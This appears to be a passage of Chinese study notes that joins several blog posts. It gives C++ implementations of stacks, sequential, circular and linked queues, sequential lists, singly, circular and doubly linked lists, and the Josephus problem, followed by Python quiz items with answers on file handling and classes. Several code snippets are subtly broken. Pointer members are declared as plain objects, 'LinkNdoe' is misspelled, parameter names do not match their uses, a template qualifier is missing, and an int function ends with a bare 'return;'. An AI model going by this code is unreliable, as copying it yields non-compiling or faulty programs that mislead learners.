	bool Pop(DualStack &DS,Type &x,int i)// 向双栈中的第 i 个栈弹出元素，赋值给 x
	{
	if(i==0)// 左栈
	{
	if(DS.top0==-1)// 栈空
	{
	return false;
	}
	x=DS.V[DS.top0];
	DS.top0--;
	}
	else// 右栈
	{
	if(DS.top1==maxsize)// 栈空
	{
	return false;
	}
	x=DS.V[DS.top1];
	DS.top1++;
	}
	return true;
	}

# 四、顺序队列

# 1. 队列的抽象数据类型

	template<class T>
	class Queue
	{
	public:
	Queue(){} // 构造函数
	~Queue(){} // 析构函数
	virtual bool EnQueue(T x)=0; // 进队列
	virtual bool DeQueue(T &x)=0; // 出队列
	virtual bool getFront(T &x)=0; // 取队头
	virtual bool IsEmpty() const=0; // 判队列空
	virtual bool IsFull() const=0; // 判队列满
	};

# 2. 顺序队列的类定义

	template<class T>
	class SeqQueue// 队列类定义
	{
	protected:
	int rear,front; // 队尾与队头指针
	T *elements; // 队列存放数组
	int maxSize; // 队列最大容量

	public:
	SeqQueue(int sz=10); // 构造函数
	~SeqQueue() // 析构函数
	{
	delete []elements;
	}
	bool EnQueue(const T &x); // 新元素进队列
	bool DeQueue(T &x); // 退出队头元素
	bool getFront(T &x); // 取队头元素值
	void makeEmpty()
	{
	front=rear=-1;
	}
	bool IsEmpty() const // 判队列空
	{
	return front==rear;
	}
	bool IsFull() const // 判队列满
	{
	return(rear==maxSize-1);
	}
	int getSize() const // 获取当前元素个数
	{
	return rear-front;
	}
	};

# 3. 入队操作

	template<class T>
	bool SeqQueue<T>::EnQueue(const T &x)// 入队操作
	{
	if(rear==maxSize-1) // 队列已满
	{
	cout <<"overflow";
	return false;
	}
	else
	{
	rear++; // 队尾位置指示器后移一个位置
	elements[rear]=x; // 填入新元素
	return true;
	}
	}

# 4. 出队操作

	template<class T>
	bool SeqQueue<T>::DeQueue(T &x)// 出队操作
	{
	if(front==rear) // 队列为空
	{
	cout <<"underflow";
	return false;
	}
	else
	{
	front++; // 队头置位指示器后移一个位置
	x=elements[front]; // 暂存对头元素
	return true; // 出列成功
	}
	}

入队和出队算法是时间复杂度均为 O (1)

# 五、循环队列

# 1. 首尾结合的实现

# 方法一

	// 用条件判断实现首尾结合
	if(r==maxSize-1)// 队尾指针到数组最后一个位置
	{
	r=0;// 回到数组开头（循环）
	}
	else
	{
	r++;// 没到末尾，正常后移
	}

# 方法二

	// 把队头、队尾指示器对 maxSize 取模后 + 1
	// 注意：为了算法的方便，约定：初始时，队头、队尾指示器均指向最后一个单元位置，
	// 即 front=rear=maxSize-1 或者初始化时 front=rear=0

	i=(i+1)%maxSize//i 可以是 front（队头）或 rear（队尾）

# 2.” 空”“满” 问题的实现

# 入队操作

	template<class T>
	bool SeqQueue<T>::EnQueue(const T &x)// 入队操作
	{
	if((rear+1)%maxSize==front) // 判满
	{
	return false;
	}
	else
	{
	rear=(rear+1)%maxSize; // 队尾指针后移一位
	elements[rear]=x; // 新元素存储队尾指针指向的位置
	return true; // 入队成功
	}
	}

# 出队操作

	template<class T>
	bool SeqQueue<T>::DeQueue(T &x)// 出队操作
	{
	if(rear==front)// 判空操作
	{
	return false;
	}
	else
	{
	front=(front+1)%maxSize; // 队头指针后移一位
	x=elements[front]; // 新队头位置的元素赋值给引用参数 x
	return true; // 出队成功
	}
	}

# 3. 判满操作

	template<class T>
	bool SeqQueue::IsFull() const // 判满操作
	{
	return ((rear+1)%maxSize==front);
	}

# 4. 计算元素个数

	template<class T>
	int SeqQueue::getSize() const // 计算元素个数
	{
	return (rear-front+maxSize)%maxSize;
	}

# 六、链式队列

# 1. 链式队列结点类定义

	template<class T>
	struct QueueNode // 队列结点类定义
	{
	public:
	T data; // 队列结点数据
	QueueNode<T> *link; // 结点链指针
	QueueNode(T d=0,QueueNode<T> *next=NULL) : data(d),link(next){}// 构造函数
	};

# 2. 链式队列类定义

	template<class T>
	class LinkedQueue
	{
	private:
	QueueNode<T> front,rear; // 队头、队尾指针

	public:
	LinkedQueue() : rear(NULL),front(NULL) {} // 构造函数
	~LinkedQueue(); // 析构函数
	bool EnQueue(const T &x); // 入队操作
	bool DeQueue(T &x); // 出队操作
	bool GetFront(T &x);
	void MakeEmpty(); // 实现与～Queue () 同
	bool IsEmpty() const // 判空函数
	{
	return front==NULL;
	}
	};

# 3. 入队操作

	template<class T>
	bool LinkedQueue<T>::EnQueue(const T &x)// 入队操作
	{
	// 将新元素 x 插入到队列的队尾
	if(front==NULL)// 队列为空
	{
	front=rear=new QueueNode<T>(x);// 创建第一个结点
	if(front==NULL) // 分配失败
	{
	return false;// 分配失败
	}
	}
	else// 队列不空
	{
	rear->link=new QueueNode<T>(x);// 插入
	if(rear->link==NULL)// 分配失败
	{
	return false;// 分配失败
	}
	rear=rear->link;
	}
	return true;
	}

# 4. 出队操作

	template<class T>
	bool LinkedQueue<T>::DeQueue(T &x)// 出队操作
	{
	// 如果队列不空，将队头结点从链式队列中删去
	if(IsEmpty()==true) // 判空
	{
	return false;
	}
	QueueNode<T> *p=front;
	x=front->data;
	front=front->link;
	delete p;
	return true;
	}

入队和出队算法的时间复杂度均为 O (1)

# 5. 取队头元素操作

	template<class T>
	bool LinkedQueue<T>::GetFront(T &x) // 取队头元素操作
	{
	// 若队列不空，则函数返回队头元素的值
	if(IsEmpty()==true) // 判空
	{
	return false;
	}
	x=front->data;
	return true;
	}

# 6. 析构函数

	template<class T>
	LinkedQueue<T>::~LinkedQueue()// 析构函数
	{
	QueueNode<T> *p;
	while(front!=NULL)// 不空
	{
	p=front;
	front=front->link;
	delete p;
	}
	}

线性表

2026-02-13T08:20:29.000Z

顺序表
1.1 结构类型的描述
1.2 顺序表类的定义
1.3 构造函数
1.4 复制构造函数
1.5 按值查找算法
1.6 插入算法
1.7 删除算法
1.8 集合的并运算
1.9 集合的交运算
单链表
2.1 单链表的建立
2.2 用模板定义的结点类
2.3 用模板定义的单链表类
2.4 输出链表所有结点值的算法
2.5 求单链表长度的算法
2.6 定位算法
2.7 搜索算法
2.8 插入算法
2.9 删除算法
2.10 析构函数
循环链表
3.1 用模板定义的结点类
3.2 用模板定义的循环链表类
3.3 搜索算法
3.4 插入算法
3.5 删除算法
双向循环链表
4.1 模板定义的链表结点类
4.2 模板定义的双向循环链表类
4.3 搜索算法
4.4 插入算法
4.5 删除算法
约瑟夫问题
递归成员函数
6.1 不带表头结点输出链表元素值
6.2 带表头结点输出链表元素值
6.3 单链表表长

# 一、顺序表

# 1. 结构类型的描述

# 静态存储表示

	#define maxSize 100
	//const int maxSize=100;

	typedef int T;
	typedef struct
	{
	T data[maxSize]; // 顺序表的静态存储表示
	int n; //int last;
	}SeqList;

# 动态存储表示

	typedef int T;
	typedef struct
	{
	T *data; // 顺序表的动态存储表示
	int maxSize;
	int n; //int last;
	}SeqList;

# 2. 顺序表类的定义

	const int defaultSize=100;
	template<class T>
	class SeqList
	{
	protected:
	T *data; // 存放数组
	int maxSize; // 最大可容纳表项的项数
	int last; // 数组中最后一个元素的下标
	void reSize(int newSize); // 改变数组空间大小

	public:
	SeqList(int sz=defaultSize); // 析构函数
	SeqList(SeqList<T> &L); // 复制构造函数
	~SeqList() // 析构函数
	{
	delete []data;
	}
	int Size() const // 求表的最大容量
	{
	return maxSize;
	}
	int Length() const // 计算表长度
	{
	return last+1;
	}
	int Search(T &x) const; // 搜索 x 在表中位置，函数返回表项序号
	int Locate(int i) const; // 定位第 i 个表项，函数返回表项序号
	bool getData(int i,T &x); // 取第 i 个元素
	bool Insert(int i,T &X); // 插入
	bool Remove(int i,T &x); // 删除

	};

# 3. 构造函数

	template<class T>
	SeqList<T>::SeqList(int sz)
	{
	if(sz>0)
	{
	maxSize=sz;
	last=-1;
	data=new T[maxSize]; // 创建表存储数组
	if(data==0) // 动态分配失败
	{
	cerr <<"存储分配错误！" <<endl;
	exit(1);
	}
	}
	}

# 4. 复制构造函数

	template<class T>
	SeqList<T>::SeqList(SeqList<T> &L)
	{
	T value;
	maxSize=L.size();
	last=L.Length()-1;
	data=new T[maxSize]; // 创建存储数组
	if(data==0) // 动态分配失败
	{
	cerr <<"存储分配错误!" <<endl;
	exit(1);
	}
	for(int i=1;i<=last+1;++i) // 传送各个表项
	{
	L.getData(i,value);
	data[i-1]=value;
	}
	}

# 5. 按值查找算法

	// 按值查找算法
	template<class T>
	int SeqList<T>::Search(T &x) const
	{
	// 在表中顺序搜索与给定值 x 匹配的表项，找到则函数返回该表项是第几个元素，否则返回 0
	for(int i=1;i<=last+1;++i) // 顺序搜索
	{
	if(data[i-1]==x)
	{
	return i;
	}
	}
	return 0; // 搜索失败
	}

# 6. 插入算法

	// 插入算法
	template<class T>
	bool SeqList<T>::Insert(int i,T &x)
	{
	if(last==maxSize-1) // 表满
	{
	return false;
	}
	if(i<1 \|\| i>Length()+1)
	{
	return false; // 参数 i 不合理
	}
	for(int j=last+1;j>=i;--j) // 依次后移
	{
	data[j]=data[j-1];
	}
	data[i-1]=x; // 插入
	last++;
	return true; // 插入成功
	}

# 7. 删除算法

	// 删除算法
	template<class T>
	bool SeqList<T>::Remove(int i,T &x)
	{
	// 从表中删除第 i 个表项，通过应用型参数 x 返回被删元素。函数返回删除成功信息
	if(last==-1)
	{
	return false; // 表空
	}
	if(i<1 \|\| i>last+1)
	{
	return false; // 参数 i 不合理
	}
	x=data[i-1];
	for(int j=i;j<=last;++j) // 依次前移
	{
	data[j-1]=data[j];
	}
	last--;
	return true;
	}

# 8. 集合的并运算

	// 集合的并运算
	void Union(SeqList<int> &LA,SeqList<int> &LB)
	{
	int n1=LA.Length();
	int n2=LB.Length();
	int i,k,x;
	for(i=1;i<=n2;++i)
	{
	LB.getData(i,x); // 在 LB 中任取一元素
	k=LA.Search(x); // 在 LA 中搜索他
	if(k==0) // 若在 LA 中未找到，插入它
	{
	LA.Insert(n1+1,x); // 插入到第 n 个表项位置
	n1++;
	}
	}
	}

# 9. 集合的交运算

	// 集合的交运算
	void Intersection(SeqList<int> &LA,SeqList<int> &LB)
	{
	int n1=LA.Length();
	int x,k,i=1;
	while(i<=n1)
	{
	LA.getData(i,x); // 在 LA 中取一元素
	k=LB.Search(x); // 在 LB 中搜索它
	if(k==0) // 找不到
	{
	LA.Remove(i,x); // 找不到，删除
	n1--;
	}
	else
	{
	i++;
	}
	}
	}

# 二、单链表

# 1. 单链表的建立

# 链表结点

	struct LinkNode // 链表结点
	{
	int data; //T data;
	LinkNode *link;
	};

# 头插法

	// 头插法
	template<class T>
	List<T>::HLinkList(int n)
	{
	first=0;
	for(int i=0;i<n;++i)
	{
	p=new LinkNode<T>();
	cin >>p->data;
	p->link=first;
	first=p;
	}
	}

# 尾插法

	// 尾插法
	template<class T>
	List<T>::RLinkList(int n)
	{
	first=tail=new LinkNode<T>();
	first->link=0;
	for(int i=0;i<n;++i)
	{
	p=new LinkNode<T>;
	cin >>p->data;
	p->link=0;
	tail->link=p;
	tail=p;
	}
	}

# 2. 用模板定义的结点类

	// 用模板定义的结点类
	template<class T>
	struct LinkNode // 链表结点类的定义
	{
	T data; // 数据域
	LinkNode<T> *link; // 链指针域
	LinkNode() // 构造函数
	{
	link=0;
	}
	LinkNode(T item,LinkNdoe<T> *ptr=0) // 构造函数，创建新的结点
	{
	data=item;
	link=ptr;
	}
	bool operator==(T X) // 重载函数，判断相等
	{
	return data.key==x;
	}
	bool operator!=(T x)
	{
	return data.key!=x;
	}
	};

# 3. 用模板定义的单链表类

	// 用模板定义的单链表类
	template<class T>
	class List
	{
	protected:
	LinkNode<T> *first; // 表头指针

	public:
	List() // 构造函数
	{
	first=new LinkNode<T>;
	}
	List(T x) // 构造函数
	{
	first=new LinkNode<T>(x);
	}
	List(List<T> &L); // 复制构造函数
	~List(){} // 析构函数
	void makeEmpty(); // 将链表置为空表
	int Length() const; // 计算链表的长度
	LinkNode<T> *Search(T x); // 搜索含 x 元素
	LinkNode<T> *Locate(int x); // 定位第 i 个元素
	T *getData(int i); // 取出第 i 个元素值
	void setData(int i,T x); // 更新第 i 元素值
	bool Insert(int i,T x); // 在第 i 元素后插入
	bool Remove(int i,T &x); // 删除第 i 个元素
	bool IsEmpty() const // 判断表空
	{
	return first->link==0 ? true : false;
	}
	LinkNode<T> *getFirst() const
	{
	return first;
	}
	void setFirst(LinkNode<T> *f)
	{
	first=f;
	}
	void sort(); // 排序
	void Print(); // 输出整条链表的结点值
	};

# 4. 输出链表所有结点值的算法

	// 输出链表所有结点值的算法
	template<class T>
	void List<T>::Print()
	{
	LinkNode<T> *p=first->link;
	while(p!=0)
	{
	cout <<p->data <<" ";
	p=p->link;
	}
	}

# 5. 求单链表长度的算法

	// 求单链表长度的算法
	template<class T>
	int List<T>::Length() const
	{
	LinkNode<T> *p=first->link;
	int count=0; // 检测指针 p 指示第一个结点
	while(p!=0)
	{
	count++;
	p=p->link;
	}
	return count;
	}

# 6. 定位算法

	// 单链表的定位算法
	template<class T>
	LinkNode<T> *List<T>::Locate(int i)
	{
	// 函数返回第 i 个元素的地址
	if(i<0)
	{
	return 0;
	}
	LinkNode<T> *current=first;
	int k=0;
	while(current!=0 && k<i)
	{
	current=current->link;
	k++;
	}
	return current; // 返回第 i 号结点地址或 0
	}

# 7. 搜索算法

	// 单链表的搜索算法
	template<class T>
	LinkNode<T> *List<T>::Search(T x)
	{
	// 在表中搜索含数据 x 的结点，搜索成功是函数返回该结点地址
	LinkNode<T> *current=first->link;
	while(current!=0 && current->data!=x)
	{
	current=current->link;
	}
	return current;
	}

# 8. 插入算法

	// 插入算法
	// 将新元素 x 插入在链表中第 i 个结点之后
	// 将新元素 x 插入在链表中第 i 个结点之前，则可以插在 i 之后，再对换 i 和 i+1 的 data 值
	template<class T>
	bool List<T>::Insert(int i,T x)
	{
	// 将新元素 x 插入在链表中第 i 个结点之后
	LinkNode<T> *current=Locate(i);
	if(current==0) // 无插入位置
	{
	return false;
	}
	LinkNode<T> *newNode=new LinkNode<T>(x);
	newNode->link=current->link;
	current->link=newNode;
	return true;
	}

# 9. 删除算法

	// 删除算法
	template<class T>
	bool List<T>::Remove(int i,T &x)
	{
	LinkNode<T> *current=Locate(i-1);
	if(current==0 \|\| current->link==0)// 删除不成功
	{
	return false;
	}
	LinkNode<T> *del=current->link;
	current->link=del->link;
	x=del->data;
	delete del;
	return true;
	}

# 10. 析构函数

	// 析构函数
	template<class T>
	List<T>::~List()// 析构函数：从链头开始删
	{
	LinkNode<T> *q;
	while(first!=0)
	{
	q=first; // 保存被删结点
	first=first->link; // 从链上摘下该结点
	delete q; // 删除
	}
	}

# 三、循环链表

# 1. 用模板定义的结点类

	template<class T>
	struct CircLinkNode // 链表结点类的定义
	{
	T data; // 数据域
	CircLinkNode<T> *link; // 链指针域
	CircLinkNode(CircLinkNode<T> *next=0) // 构造函数
	{
	link=next;
	}
	CircLinkNode(T d,CircLinkNode<T> *next=0) // 构造函数，创建新的结点
	{
	data=d;
	link=next;
	}
	bool operator==(T X) // 重载函数，判断相等
	{
	return data.key==x.key;
	}
	bool operator!=(T x)
	{
	return data.key!=x.key;
	}
	};

# 2. 用模板定义的循环链表类

	// 用模板定义的循环链表类
	template<class T>
	class CircList
	{
	private:
	CircLinkNode<T> first,last; // 头指针，尾指针

	public:
	CircList(const T x); // 构造函数
	CircList(CircList<T> &L); // 复制构造函数
	~CircList(){} // 析构函数
	int Length() const; // 计算链表的长度
	CircLinkNode<T> *Search(T x); // 搜索含 x 元素
	CircLinkNode<T> *Locate(int x); // 定位第 i 个元素
	T *getData(int i); // 取出第 i 个元素值
	void setData(int i,T x); // 更新第 i 元素值
	bool Insert(int i,T x); // 在第 i 元素后插入
	bool Remove(int i,T &x); // 删除第 i 个元素
	bool IsEmpty() const // 判断表空
	{
	return first->link==0 ? true : false;
	}
	LinkNode<T> *getFirst() const // 返回表头结点地址
	{
	return first;
	}
	void setFirst(LinkNode<T> *f) // 设置表头结点地址
	{
	first=f;
	}
	void sort(); // 排序
	void Print(); // 输出整条链表的结点值
	};

# 3. 搜索算法

	// 搜索算法
	template<class T>
	CircLinkNode<T> *CircList<T>::Search(T x)
	{
	// 在链表中从头搜索其数据值为 x 的结点
	current=first->link;
	while(current!=first && current->data!=x)
	{
	current=current->link;
	}
	return current;

	}

# 4. 插入算法

同单链表插入算法

# 5. 删除算法

同单链表删除算法

# 四、双向循环链表

# 1. 模板定义的链表结点类

	template<class T>
	struct DblNode // 链表结点类定义
	{
	T data; // 链表结点数据
	DblNode<T> ILink,rLink; // 前驱、后继指针
	DblNode(DblNode<T> l=0,DblNode<T> r=0) // 构造函数
	{
	ILink=l;
	rLink=r;
	}
	DblNode(T value,DblNode<T> l=0,DblNode<T> r=0) // 构造函数
	{
	data=value;
	ILink=l;
	rLink=r;
	}
	};

# 2. 模板定义的双向循环链表类

	template<class T>
	class DblList // 双向循环链表类定义
	{
	private:
	DblNode<T> *first; // 表头指针

	public:
	DblList(T uniqueVal) // 构造函数
	{
	first=new DblNode<T>(uniqueVal);
	first->rLink=first->lLink=first;
	}
	DblNode<T> *getFirst() const // 获取头结点
	{
	return first;
	}
	void setFirst(DblNode<T> *ptr) // 设置头结点地址
	{
	first=ptr;
	}
	DblNode<T> *Search(T x,int d); // 搜索算法：按 d 方向寻找值为 x 的结点
	DblNode<T> *Locate(int i,int d); // 定位算法：定位序号为 i (>=0) 的结点：d=0 前驱方向，d!=0 后继方向
	bool Insert(int i,T x,int d); // 插入算法：在第 i 个结点后插入包含值 x 的新结点
	bool Remove(int i,T &x,int d); // 删除算法：删除第 i 个结点
	bool IsEmpty() // 判断表空
	{
	return first->rLink==first;
	}
	};

# 3. 搜索算法

first 哨兵节点

	template<class T>
	DblNode<T> *DblList<T>::Search(T x,int d)// 搜索算法
	{
	DblNode<T> *current=(d==0)? first->lLink : first->rLink; // 按 d 确定搜索方向
	while(current!=first && current->data!=x)
	{
	current=(d==0)? current->lLink : current->rLink;
	}
	if(current!=first)//first 哨兵节点
	{
	return current;// 搜索成功
	}
	else
	{
	return 0; // 搜索失败
	}
	}

# 4. 插入算法

	template<class T>
	bool DblList<T>::Insert(int i,T x,int d)// 插入算法
	{
	DblNode<T> *current=Locate(i,d);// 查找第 i 个结点
	if(current==0)
	{
	return false;// 插入失败
	}
	DblNode<T> *newNd=new DblNode<T>(x);
	if(d==0)// 前驱方向
	{
	newNd->lLink=current->lLink;// 链入 lLink 链
	current->lLink=newNd;
	newNd->lLink->rLink=newNd;// 链入 rLink 链
	newNd->rLink=current;
	}
	else// 后继方向
	{
	newNd->rLink=current->rLink;
	current->rLink=newNd;
	newNd->rLink->lLink=newNd;
	newNd->lLink=current;
	}
	return true; // 插入成功
	}

# 5. 删除算法

	template<class T>
	bool DblList<T>::Remove(int i,T &x,int d)// 删除算法
	{
	DblNode<T> *current=Locate(i,d);
	if(current==0)
	{
	return false;// 删除失败
	}
	current->rLink->lLink=current->lLink;// 从 lLink 摘下
	current->lLink->rLink=current->rLink;// 从 rLink 摘下
	x=current->data;// 保存删除的数据
	delete current;// 删除
	return true;// 删除成功
	}

# 五、约瑟夫问题

	void Josephus(int n,int start,int m)// 隔 m 人
	{
	int counter,j,*A=new int[n];//counter 出来的人数 n 总人数
	for(j=0;j<n;++j)// 初始化，把各位置号存入数组中
	{
	A[j]=j+1;
	}
	counter=1;
	start--;
	while(counter<n)// 当前已站出人数比总人数少
	{
	cout <<A[start];// 输出当前要站出来的人的位置号
	for(j=start;j<n-counter;++j)
	{
	A[j]=A[j+1];// 位置号前移
	}
	start=(start+m-1)%(n-counter);
	counter++;
	}
	cout <<A[0];
	}

# 六、递归成员函数

# 1. 不带表头结点输出链表元素值

# 方法一

	class Link
	{
	LinkNode *head;// 不带表头结点

	public:
	void Print(LinkNode *h);// 递归函数
	LinkNode *getHead()
	{
	return head;
	}
	};

	void Link::Print(LinkNode *h)
	{
	if(h!=0)// 当前节点不为空
	{
	cout <<h->data <<" ";
	Print(h->link);// 递归打印下一个节点
	}
	}

	void main()
	{
	Link MyLink;
	//...
	MyLink.Print(MyLink.getHead());
	}

# 方法二

	class link
	{
	LinkNode *head;// 不带表头结点
	void Print(LinkNode *h);// 递归函数

	public:
	void Print()// 递归函数
	{
	Print(head);
	}
	};

	void Link::Print(LinkNode *h)
	{
	if(h!=0)// 当前节点不为空
	{
	cout <<h->data <<" ";
	Print(h->link);// 递归打印下一个节点
	}
	}

	void main()
	{
	Link MyLink;
	//...
	MyLink.Print();
	}

# 2. 带表头结点输出链表元素值

# 方法一

	class link
	{
	LinkNode *first;// 带表头结点

	public:
	void Print(LinkNode *h);// 递归函数
	LinkNode *getFirstNext()
	{
	return first->next;
	}
	};

	void Link::Print(LinkNode *h)
	{
	// 方法一：正向输出
	if(h!=0)// 当前节点不为空
	{
	cout <<h->data <<" ";
	Print(h->link);// 递归打印下一个节点
	}
	/* 方法二：反向输出
	if (h!=0)// 当前节点不为空
	{
	Print (h->link);// 递归打印下一个节点
	cout <<h->data <<" ";
	}
	*/
	}

	void main()
	{
	Link MyLink;
	//...
	MyLink.Print(MyLink.getFirstNext());
	}

# 方法二

	class link
	{
	LinkNode *first;// 带表头结点
	void Print(LinkNode *h);// 递归函数

	public:
	void Print()
	{
	Print(first->next);
	}
	};

	void Link::Print(LinkNode *h)
	{
	if(h!=0)// 当前节点不为空
	{
	cout <<h->data <<" ";
	Print(h->link);// 递归打印下一个节点
	}
	}

	void main()
	{
	Link MyLink;
	//...
	MyLink.Print();
	}

# 3. 单链表表长

# 方法一

	int counter=0;

	void Length1(LinkNode *h)
	{
	if(h==0)// 终止条件
	{
	return;
	}
	else
	{
	counter++;
	Length1(h->next);// 递归项
	}
	}

# 方法二

	int counter=0;

	void Length1(LinkNode *h)
	{
	if(h==0)// 终止条件
	{
	return;
	}
	else
	{
	Length1(h->next);// 递归项
	counter++;
	}
	}

# 方法三

	int Length1(LinkNode *h)
	{
	if(h==0)// 终止条件
	{
	return;
	}
	else
	{
	return 1+Length1(h->next);// 递归项
	}
	}

Python程序设计习题——文件

2026-01-17T16:21:19.000Z

# 文件

# 选择题

# 1. 题目

	(多选)
	关于CSV格式文件，下列说法正确的是（）

	A.每行表示一个一维数据，多行表示二维数据
	B.必须要含列名，而且列名放置在文件第一行
	C.纯文本格式，通过单一编码表示字符
	D.以逗号分隔每列数据，列数据为空也要保留逗号

答案：ACD

选项 A：正确，CSV 文件的结构就是每行表示一个一维数据，多行表示二维数据。

选项 B：错误，CSV 文件不一定必须包含列名，是否包含列名取决于具体应用场景。

选项 C：正确，CSV 是纯文本格式，可以使用单一编码（如 UTF-8）表示字符。

选项 D：正确，CSV 文件使用逗号分隔每列数据，即使列数据为空也要保留逗号作为分隔符。

# 2. 题目

	关于read,readline和readlines说法正确的是（）

	A.readlines 读取整个文件到一个迭代器以供我们遍历
	B.read 读取整个文件
	C.使用read,readline和readlines之前必须先用open打开文件，但不用显示指明打开模式‘r’
	D.readline 读取下一行,使用生成器方法

答案：B

选项 A：错误，readlines () 返回的是列表而非迭代器。

选项 B：正确，read () 方法在不指定参数时会读取整个文件内容。

选项 C：错误，表述过于绝对，二进制文件需要显式指定 'r' 或 'rb' 模式。

选项 D：错误，readline () 不是生成器方法，它每次调用只读取一行内容。

# 3. 题目

	以下选项中不是Python文件操作方法的是( )

	A.readline()
	B.read()
	C.readtext()
	D.readlines()

答案：C

选项 A：readline () 是文件操作方法，用于读取一行内容。

选项 B：read () 是文件操作方法，用于读取文件内容。

选项 C：readtext () 不是标准的 Python 文件操作方法，正确的方法是 read ()。

选项 D：readlines () 是文件操作方法，用于读取所有行并返回列表。

# 判断题

# 1. 题目

以写模式打开的文件无法进读操作。  (   )

答案：对

解析：以写模式（'w'）打开的文件只能进行写操作，不能进行读操作。如果需要同时读写，可以使用 'r+'、'w+' 或 'a+' 模式。

# 2. 题目

二进制文件也可以使用记事本或其他文本编辑器打开，但是一般来说无法正常查看其中的内容。(   )

答案：对

解析：二进制文件可以用文本编辑器打开，但由于其内容是二进制数据，通常会显示为乱码，无法正常查看。

# 3. 题目

对字符串信息进行编码以后，必须使用同样的或者兼容的编码格式进行解码才能还原本来的信息。(   )

答案：对

解析：字符串编码和解码必须使用相同或兼容的编码格式，否则会出现乱码或解码错误。

# 4. 题目

文本文件是可以迭代的，可以使用for line in fp类似的语句遍历文件对象fp中的每一行。(  )

答案：对

解析：在 Python 中，文本文件对象是可迭代的，可以直接用 for 循环遍历文件的每一行。

# 5. 题目

使用pickle进行序列化得到的二进制文件使用struct也可以正确地进行反序列化。(   )

答案：错

解析：pickle 和 struct 是不同的序列化模块，它们使用不同的格式存储数据，不能互相反序列化。

# 6. 题目

使用内置函数open()且以”w”模式打开的文件，文件指针默认指向文件尾。(   )

答案：错

解析：以 'w' 模式打开文件时，文件指针默认指向文件开头，且会清空文件内容。

# 填空题

# 1. 题目

已知当前文件夹中有纯英文文本文件readme.txt，请填空完成功能把readme.txt文件中的所有内容复制到dst.txt中，

with open('readme.txt') as src, open('dst.txt', ______) as dst:

      dst.write(src.read())。

答案：'w'

解析：open 函数使用 'w' 模式表示以写模式打开文件，这样可以将内容写入到 dst.txt 中。

Python程序设计习题——类与继承

2026-01-17T16:17:16.000Z

# 类与继承

# 选择题

# 1. 题目

	定义类如下
	class Hello():
	def __init__(self,name)
	self.name=name
	def showInfo(self)
	print(self.name)
	下面代码能正常执行的 ( )

	A.
	h = Hello()
	h.showInfo(‘张三’)
	B.
	h = Hello(‘张三’)
	h.showInfo()
	C.
	h = Hello
	h.showInfo()
	D.
	h = Hello(‘admin’)
	showInfo

答案：B

选项 A：错误，__init__方法需要 name 参数，但创建对象时没有传入，且 showInfo 方法不需要参数却传入了 ' 张三 '。

选项 B：正确，创建对象时传入了 name 参数，showInfo 方法正确调用，不需要额外参数。

选项 C：错误，h=Hello 没有创建实例，直接赋值了类对象，无法调用实例方法 showInfo。

选项 D：错误，showInfo 是方法，需要通过对象调用，直接写 showInfo 不会执行任何操作。

# 2. 题目

	定义类如下：
	class A():
	def a():
	print(“a”)
	class B ():
	def b():
	print(“b”)
	class C():
	def c():
	print(c)
	class D(A,C):
	def d():
	print(“d”)
	d = D()
	d.a()
	d.b()
	d.d()
	则程序执行的结果是（）

	A.a,b,d
	B.执行会报错
	C.a,d
	D.d,a

答案：B

选项 A：错误，d.b () 无此方法，d.a () 和 d.d () 因缺少 self 参数报错，无法输出该结果。

选项 B：正确，程序存在多重致命错误：a () 和 d () 方法缺少 self 参数，d.b () 调用了不存在的方法，必然触发异常。

选项 C：错误，d.a () 和 d.d () 均会因缺少 self 参数报错，无法正常打印。

选项 D：错误，方法调用均触发报错，无正常输出。

# 3. 题目

	关于python类说法错误的是（）

	A.类的静态属性可以用类名和对象来调用
	B.类的实例方法在创建对象前可以调用
	C.类的实例方法必须创建对象后才可以调用
	D.类的类方法可以用对象和类名来调用

答案：B

选项 A：正确，类的静态属性可以通过类名和对象名访问。

选项 B：错误，实例方法必须通过对象调用，创建对象前无法调用。

选项 C：正确，实例方法必须通过对象调用。

选项 D：正确，类方法可以通过类名和对象名访问。

# 4. 题目

	(多选)
	定义类如下：
	class Hello():
	pass
	下面说明错误的是（）

	A.该类实例中只包含__dir__（），不包含__hash__（）
	B.该类实例中包含__hash__（）方法
	C.该类没有定义任何方法，所以该实例中没有包含任何方法
	D.该类实例中包含__dir__（）方法

答案：AC

选项 A：错误，类实例会继承 object 类的所有特殊方法，包括_hash_()。

选项 B：正确，类实例继承了 object 类的_hash_() 方法。

选项 C：错误，即使类没有定义任何方法，实例也会继承 object 类的方法。

选项 D：正确，类实例继承了 object 类的_dir_() 方法。

# 判断题

# 1. 题目

定义类时所有实例方法的第一个参数用来表示对象本身，在类的外部通过对象名来调用实例方法时不需要为该参数传值。  (  )

答案：对

解析：在 Python 中，实例方法的第一个参数通常命名为 self，表示对象本身，在调用时 Python 会自动将对象传递给这个参数，不需要显式传值。

# 2. 题目

只可以动态为对象增加数据成员，而不能为对象动态增加成员方法。   (   )

答案：错

解析：在 Python 中，既可以动态为对象增加数据成员，也可以动态为对象增加成员方法，可以通过赋值的方式实现。

# 3. 题目

对于Python类中的私有成员，可以通过“对象名._类名__私有成员名”的方式来访问。 (   )

答案：对

解析：Python 中的私有成员使用双下划线前缀（__）定义，但实际上只是进行了名称修饰，仍然可以通过 “对象名._类名__私有成员名” 的方式访问。

# 4. 题目

如果定义类时没有编写析构函数，Python将提供一个默认的析构函数进行必要的资源清理工作。(    )

答案：对

解析：如果定义类时没有编写析构函数，Python 会提供一个默认的析构函数，用于释放对象占用的资源。

# 5. 题目

Python支持多继承，如果父类中有相同的方法名，而在子类中调用时没有指定父类名，则Python解释器将从左向右按顺序进行搜索。  (   )

答案：对

解析：Python 支持多继承，当调用方法时，解释器会按照 MRO（方法解析顺序）从左向右搜索父类中的方法。

# 6. 题目

Python中没有严格意义上的私有成员。 (   )

答案：对

解析：Python 中的私有成员只是通过名称修饰（name mangling）来实现的，并不是真正的私有，可以通过特殊方式访问，因此没有严格意义上的私有成员。

# 7. 题目

在类定义的外部没有任何办法可以访问对象的私有成员。(   )

答案：错

解析：虽然 Python 使用名称修饰来保护私有成员，但仍然可以通过 “对象名._类名__私有成员名” 的方式在外部访问。

# 8. 题目

定义类时所有实例方法的第一个参数用来表示对象本身,在类的外部通过对象名来调用实例方法时不需要为该参数传值.  (  )

答案：对

解析：实例方法的第一个参数表示对象本身，调用时不需要显式传值。

# 9. 题目

Python中一切内容都可以称为对象。  (   )

答案：对

解析：在 Python 中，一切都是对象，包括数字、字符串、函数、类等。

# 10. 题目

定义类时，在一个方法前面使用@staticmethod进行修饰，则该方法属于静态方法。(    )

答案：对

解析：@staticmethod 装饰器用于定义静态方法，静态方法不需要 self 或 cls 参数，可以通过类名或对象名调用。

# 11. 题目

